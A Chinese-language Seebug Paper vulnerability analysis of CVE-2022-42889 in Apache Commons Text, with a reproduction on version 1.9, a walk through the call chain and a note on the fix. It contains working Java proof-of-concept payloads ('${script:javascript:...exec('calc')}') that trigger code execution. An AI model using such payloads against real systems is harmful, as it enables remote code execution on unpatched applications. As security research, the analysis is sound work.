作者:标准云
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
漏洞简介
Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"
,其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup
的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
- "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
- "dns" - resolve dns records 解析 dns 记录
- "url" - load values from urls, including from remote servers 从 url 加载值,包括从远程服务加载值
如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。
我们发现漏洞 CVE-2022-42889
与 漏洞 CVE-2022-33980
描述基本相同,都是因为存在危险的插值器。两个漏洞应该有异曲同工
之妙,对两个漏洞依次进行复现并进行总结。
漏洞复现
创建 maven 项目,添加依赖
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
}
}
漏洞分析
画出一整个的调试过程
Apache Commons Text 是一个专注于处理字符串的算法库,它包含一组用于在 Java 环境中使用的处理文本的函数与可重用组件。
在 org/apache/commons/text/StringSubstitutor.java
描述了一些对字符串的处理方法
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
System.out.printf(interpolator.replace("${sys:user.dir}"));
}
}
?
漏洞调试
org.apache.commons.text.StringSubstitutor#replace(java.lang.String)
对传入 replace
的参数转换类型后传到 substitute
中处理
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int)
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List<java.lang.String>)
对参数进行检验判断首字符是否为 $
然后进行处理之后传到 resolveVariable
org.apache.commons.text.StringSubstitutor#resolveVariable
获取 getStringLookup()
的值 InterpolatorStringLookup
然后调用其 lookup 方法
org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
根据 :
分割提取出 prefix
值 然后根据 stringLookupMap
提取其对应的 lookup 实例化对象
script 对应的是 ScriptStringLookup
org.apache.commons.text.lookup.ScriptStringLookup#lookup
再次根据 :
将表达式分割
同 CVE-2022-33980
一样 dns 和 url 也属于不安全的插值器
总结反思
首先是针对这个漏洞而言
createInterpolator
实例化了 StringSubstitutor
并向其中传入 StringLookupFactory.INSTANCE.interpolatorStringLookup()
org.apache.commons.text.StringSubstitutor#createInterpolator
org.apache.commons.text.StringSubstitutor#StringSubstitutor(org.apache.commons.text.lookup.StringLookup)
是根据传入的 StringLookup 去调用不同的方法 接着会到 InterpolatorStringLookup.java
所以直接调用 StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup()
就是调用 org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
漏洞的利用也可以如此构造
import org.apache.commons.text.lookup.StringLookupFactory;
public class CommonsTextDemo {
public static void main(String[] args) {
StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup("script:javascript:java.lang.Runtime.getRuntime().exec('calc')");
}
}
CVE-2022-33980
和 CVE-2022-42889
都是对字符串的处理不当,最终都是调用了 ScriptStringLookup
对传入的内容进行处理,本质上应该多关注 jar 本身的功能,有可能一些漏洞就存在于本身所对应的功能上。
漏洞修复
移除了不安全的插值器 script
、 dns
和 url
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1993/